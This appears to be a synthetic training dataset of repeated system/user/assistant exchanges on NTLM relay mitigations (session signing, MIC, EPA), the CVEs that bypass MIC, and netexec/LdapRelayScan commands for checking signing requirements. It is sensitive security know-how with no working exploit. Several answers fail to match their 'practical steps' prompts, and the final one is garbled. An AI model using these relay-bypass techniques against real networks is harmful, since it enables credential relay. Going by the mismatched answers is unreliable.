For this mitigation to protect against NTLM relay, it has to be enabled on the target server side. Session signing protects the session's integrity, not the authentication's integrity. If session signing fails on the relayed victim side, the session victim <-> attacker will be killed AFTER the authentication, hence allowing an attacker to relay that authentication and get a valid session attacker <-> target (if the target is not requiring signing).

Since the session signing is negotiated during the NTLM authentication, why couldn't attackers tamper with the messages and unset the signing negotiation flags? Because there is a protection called MIC that prevents this.

> [!TIP]
> There is a strange behavior when doing cross-protocols relay (like relaying an SMB auth to an LDAP auth). When attackers try to relay NTLM blobs including signing negotiation flags to a protocol not supporting session signing (like LDAPS), the target server usually glitches and kills the authentication negotiation.
>
> Attackers that want to avoid glitches like this need to operate an cross-protocols unsigning relay where they relay the NTLM blobs and remove the signing negotiation flags.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Session signing is a powerful but limited mitigation against NTLM relay that only SMB and LDAP can use.

* SMB signing works in a "least requirements" way. If neither the client or the server require signing, the session will not be signed (because of performance issues)
* LDAP signing works in a "most requirements" way. If both the client and the server support signing, then they will sign the session

For this mitigation to protect against NTLM relay, it has to be enabled on the target server side. Session signing protects the session's integrity, not the authentication's integrity. If session signing fails on the relayed victim side, the session victim <-> attacker will be killed AFTER the authentication, hence allowing an attacker to relay that authentication and get a valid session attacker <-> target (if the target is not requiring signing).

Since the session signing is negotiated during the NTLM authentication, why couldn't attackers tamper with the messages and unset the signing negotiation flags? Because there is a protection called MIC that prevents this.

> [!TIP]
> There is a strange behavior when doing cross-protocols relay (like relaying an SMB auth to an LDAP auth). When attackers try to relay NTLM blobs including signing negotiation flags to a protocol not supporting session signing (like LDAPS), the target server usually glitches and kills the authentication negotiation.
>
> Attackers that want to avoid glitches like this need to operate an cross-protocols unsigning relay where they relay the NTLM blobs and remove the signing negotiation flags.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for NTLM relay - Session signing

[Assistant]
Session signing is a powerful but limited mitigation against NTLM relay that only SMB and LDAP can use.

* SMB signing works in a "least requirements" way. If neither the client or the server require signing, the session will not be signed (because of performance issues)
* LDAP signing works in a "most requirements" way. If both the client and the server support signing, then they will sign the session

For this mitigation to protect against NTLM relay, it has to be enabled on the target server side. Session signing protects the session's integrity, not the authentication's integrity. If session signing fails on the relayed victim side, the session victim <-> attacker will be killed AFTER the authentication, hence allowing an attacker to relay that authentication and get a valid session attacker <-> target (if the target is not requiring signing).

Since the session signing is negotiated during the NTLM authentication, why couldn't attackers tamper with the messages and unset the signing negotiation flags? Because there is a protection called MIC that prevents this.

> [!TIP]
> There is a strange behavior when doing cross-protocols relay (like relaying an SMB auth to an LDAP auth). When attackers try to relay NTLM blobs including signing negotiation flags to a protocol not supporting session signing (like LDAPS), the target server usually glitches and kills the authentication negotiation.
>
> Attackers that want to avoid glitches like this need to operate an cross-protocols unsigning relay where they relay the NTLM blobs and remove the signing negotiation flags.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for NTLM relay - Session signing

Response:
Session signing is a powerful but limited mitigation against NTLM relay that only SMB and LDAP can use.

* SMB signing works in a "least requirements" way. If neither the client or the server require signing, the session will not be signed (because of performance issues)
* LDAP signing works in a "most requirements" way. If both the client and the server support signing, then they will sign the session

For this mitigation to protect against NTLM relay, it has to be enabled on the target server side. Session signing protects the session's integrity, not the authentication's integrity. If session signing fails on the relayed victim side, the session victim <-> attacker will be killed AFTER the authentication, hence allowing an attacker to relay that authentication and get a valid session attacker <-> target (if the target is not requiring signing).

Since the session signing is negotiated during the NTLM authentication, why couldn't attackers tamper with the messages and unset the signing negotiation flags? Because there is a protection called MIC that prevents this.

> [!TIP]
> There is a strange behavior when doing cross-protocols relay (like relaying an SMB auth to an LDAP auth). When attackers try to relay NTLM blobs including signing negotiation flags to a protocol not supporting session signing (like LDAPS), the target server usually glitches and kills the authentication negotiation.
>
> Attackers that want to avoid glitches like this need to operate an cross-protocols unsigning relay where they relay the NTLM blobs and remove the signing negotiation flags.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe NTLM relay - MIC (Message Integrity Code) in the context of penetration testing

[Assistant]
MIC (Message Integrity Code) is an optional mitigation that garantess the NTLM messages integrity. MIC prevents attackers from tampering with NTLM messages when relaying them (i.e. cross-protocols unsigning relays). With this mitigation, attackers can't remove the session signing negotiation flags. Unlike session signing, MIC protects the authentication.

On a side note, NTLMv2 responses are computed against multiples values including

* the user's NT hash
* the server Challenge
* the AvPairs, a byte array containing the msAvFlags flag, which is used to enable the MIC

On the other hand, NTLMv1 responses do not include the AvPairs in their calculation, leaving the MIC unsupported for this version of NTLM.

In conclusion, session signing is protected by the MIC, which is enabled with the msAvFlags, which is protected by the NTLMv2 response, which can not be modified when not knowing the user's NT hash.

(Un)fortunately, there are vulnerabilities that exist that allow attackers to operate cross-protocols unsigning relays on unpatched targets.

* Drop the MIC (CVE-2019-1040)
* Drop the MIC 2 (CVE-2019-1166)
* Stealing the session key (CVE-2019-1019)

> [!NOTE]
> As of november 2020, MIC was optional, but unofficial channels suggest it might've become mandatory.

> [!NOTE]
> Windows Server 2019 ISOs seem to be patched against (at least) CVE-2019-1040.

> [!SUCCESS] Reminder: NTLMv1 doesn't like MIC
> If NTLMv1 is accepted, NTLM could be relayed and modified and the MIC dropped :microphone:

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe NTLM relay - MIC (Message Integrity Code) in the context of penetration testing

Response:
MIC (Message Integrity Code) is an optional mitigation that garantess the NTLM messages integrity. MIC prevents attackers from tampering with NTLM messages when relaying them (i.e. cross-protocols unsigning relays). With this mitigation, attackers can't remove the session signing negotiation flags. Unlike session signing, MIC protects the authentication.

On a side note, NTLMv2 responses are computed against multiples values including

* the user's NT hash
* the server Challenge
* the AvPairs, a byte array containing the msAvFlags flag, which is used to enable the MIC

On the other hand, NTLMv1 responses do not include the AvPairs in their calculation, leaving the MIC unsupported for this version of NTLM.

In conclusion, session signing is protected by the MIC, which is enabled with the msAvFlags, which is protected by the NTLMv2 response, which can not be modified when not knowing the user's NT hash.

(Un)fortunately, there are vulnerabilities that exist that allow attackers to operate cross-protocols unsigning relays on unpatched targets.

* Drop the MIC (CVE-2019-1040)
* Drop the MIC 2 (CVE-2019-1166)
* Stealing the session key (CVE-2019-1019)

> [!NOTE]
> As of november 2020, MIC was optional, but unofficial channels suggest it might've become mandatory.

> [!NOTE]
> Windows Server 2019 ISOs seem to be patched against (at least) CVE-2019-1040.

> [!SUCCESS] Reminder: NTLMv1 doesn't like MIC
> If NTLMv1 is accepted, NTLM could be relayed and modified and the MIC dropped :microphone:


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for NTLM relay - MIC (Message Integrity Code)

[Assistant]
MIC (Message Integrity Code) is an optional mitigation that garantess the NTLM messages integrity. MIC prevents attackers from tampering with NTLM messages when relaying them (i.e. cross-protocols unsigning relays). With this mitigation, attackers can't remove the session signing negotiation flags. Unlike session signing, MIC protects the authentication.

On a side note, NTLMv2 responses are computed against multiples values including

* the user's NT hash
* the server Challenge
* the AvPairs, a byte array containing the msAvFlags flag, which is used to enable the MIC

On the other hand, NTLMv1 responses do not include the AvPairs in their calculation, leaving the MIC unsupported for this version of NTLM.

In conclusion, session signing is protected by the MIC, which is enabled with the msAvFlags, which is protected by the NTLMv2 response, which can not be modified when not knowing the user's NT hash.

(Un)fortunately, there are vulnerabilities that exist that allow attackers to operate cross-protocols unsigning relays on unpatched targets.

* Drop the MIC (CVE-2019-1040)
* Drop the MIC 2 (CVE-2019-1166)
* Stealing the session key (CVE-2019-1019)

> [!NOTE]
> As of november 2020, MIC was optional, but unofficial channels suggest it might've become mandatory.

> [!NOTE]
> Windows Server 2019 ISOs seem to be patched against (at least) CVE-2019-1040.

> [!SUCCESS] Reminder: NTLMv1 doesn't like MIC
> If NTLMv1 is accepted, NTLM could be relayed and modified and the MIC dropped :microphone:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for NTLM relay - MIC (Message Integrity Code)

Response:
MIC (Message Integrity Code) is an optional mitigation that garantess the NTLM messages integrity. MIC prevents attackers from tampering with NTLM messages when relaying them (i.e. cross-protocols unsigning relays). With this mitigation, attackers can't remove the session signing negotiation flags. Unlike session signing, MIC protects the authentication.

On a side note, NTLMv2 responses are computed against multiples values including

* the user's NT hash
* the server Challenge
* the AvPairs, a byte array containing the msAvFlags flag, which is used to enable the MIC

On the other hand, NTLMv1 responses do not include the AvPairs in their calculation, leaving the MIC unsupported for this version of NTLM.

In conclusion, session signing is protected by the MIC, which is enabled with the msAvFlags, which is protected by the NTLMv2 response, which can not be modified when not knowing the user's NT hash.

(Un)fortunately, there are vulnerabilities that exist that allow attackers to operate cross-protocols unsigning relays on unpatched targets.

* Drop the MIC (CVE-2019-1040)
* Drop the MIC 2 (CVE-2019-1166)
* Stealing the session key (CVE-2019-1019)

> [!NOTE]
> As of november 2020, MIC was optional, but unofficial channels suggest it might've become mandatory.

> [!NOTE]
> Windows Server 2019 ISOs seem to be patched against (at least) CVE-2019-1040.

> [!SUCCESS] Reminder: NTLMv1 doesn't like MIC
> If NTLMv1 is accepted, NTLM could be relayed and modified and the MIC dropped :microphone:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe NTLM relay - EPA (Extended Protection for Auth.) in the context of penetration testing

[Assistant]
In short, EPA (Extended Protection for Authentication) can use one or both of the following two mitigations to provide mitigation against NTLM relay for protocols that don't support session signing such HTTPS and LDAPS:

* A Channel Binding Token (CBT) when there is a TLS channel to bind to (HTTPS, LDAPS)
* A Service Binding information in the form of a Service Principal Name (SPN), usually when there is no TLS channel to bind to (HTTP)

> [!TIP]
> For more details on how NTLM works, testers can read the MS-NLMP doc.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe NTLM relay - EPA (Extended Protection for Auth.) in the context of penetration testing

Response:
In short, EPA (Extended Protection for Authentication) can use one or both of the following two mitigations to provide mitigation against NTLM relay for protocols that don't support session signing such HTTPS and LDAPS:

* A Channel Binding Token (CBT) when there is a TLS channel to bind to (HTTPS, LDAPS)
* A Service Binding information in the form of a Service Principal Name (SPN), usually when there is no TLS channel to bind to (HTTP)

> [!TIP]
> For more details on how NTLM works, testers can read the MS-NLMP doc.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through NTLM relay - EPA (Extended Protection for Auth.)

[Assistant]
In short, EPA (Extended Protection for Authentication) can use one or both of the following two mitigations to provide mitigation against NTLM relay for protocols that don't support session signing such HTTPS and LDAPS:

* A Channel Binding Token (CBT) when there is a TLS channel to bind to (HTTPS, LDAPS)
* A Service Binding information in the form of a Service Principal Name (SPN), usually when there is no TLS channel to bind to (HTTP)

> [!TIP]
> For more details on how NTLM works, testers can read the MS-NLMP doc.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through NTLM relay - EPA (Extended Protection for Auth.)

Response:
In short, EPA (Extended Protection for Authentication) can use one or both of the following two mitigations to provide mitigation against NTLM relay for protocols that don't support session signing such HTTPS and LDAPS:

* A Channel Binding Token (CBT) when there is a TLS channel to bind to (HTTPS, LDAPS)
* A Service Binding information in the form of a Service Principal Name (SPN), usually when there is no TLS channel to bind to (HTTP)

> [!TIP]
> For more details on how NTLM works, testers can read the MS-NLMP doc.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about NTLM relay - Detection?

[Assistant]
From UNIX-like systems, NetExec (Python) and LdapRelayScan (Python) can be used to identify signing and channel binding requirements for SMB, LDAP and LDAPS.

``bash
netexec smb $target
LdapRelayScan.py -u "user" -p "password" -dc-ip "DC_IP_address" -method BOTH
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about NTLM relay - Detection?

Response:
From UNIX-like systems, NetExec (Python) and LdapRelayScan (Python) can be used to identify signing and channel binding requirements for SMB, LDAP and LDAPS.

``bash
netexec smb $target
LdapRelayScan.py -u "user" -p "password" -dc-ip "DC_IP_address" -method BOTH
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do NTLM relay - Detection

[Assistant]
From UNIX-like systems, NetExec (Python) and LdapRelayScan (Python) can be used to identify signing and channel binding requirements for SMB, LDAP and LDAPS.

``bash
netexec smb $target
LdapRelayScan.py -u "user" -p "password" -dc-ip "DC_IP_address" -method BOTH
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do NTLM relay - Detection

Response:
From UNIX-like systems, NetExec (Python) and LdapRelayScan (Python) can be used to identify signing and channel binding requirements for SMB, LDAP and LDAPS.

``bash
netexec smb $target
LdapRelayScan.py -u "user" -p "password" -dc-ip "DC_IP_address" -method BOTH
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the netexec syntax for ntlm relay - detection?

[Assistant]
netexec smb $target
LdapRelayScan.py -u "user" -p "password" -dc-ip "DC_IP_address" -method BOTH

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the netexec syntax for ntlm relay - detection?

Response:
netexec smb $target
LdapRelayScan.py -u "user" -p "password" -dc-ip "DC_IP_address" -method BOTH


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for NTLM relay - Detection?

[Assistant]
netexec smb $target
LdapRelayScan.py -u "user" -p "password" -dc-ip "DC_IP_address" -method BOTH

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for NTLM relay - Detection?

Response:
netexec smb $target
LdapRelayScan.py -u "user" -p "password" -dc-ip "DC_IP_address" -method BOTH


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `netexec smb $target`?

[Assistant] This command is used for ntlm relay - detection. Detection

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `netexec smb $target`?

Response: This command is used for ntlm relay - detection. Detection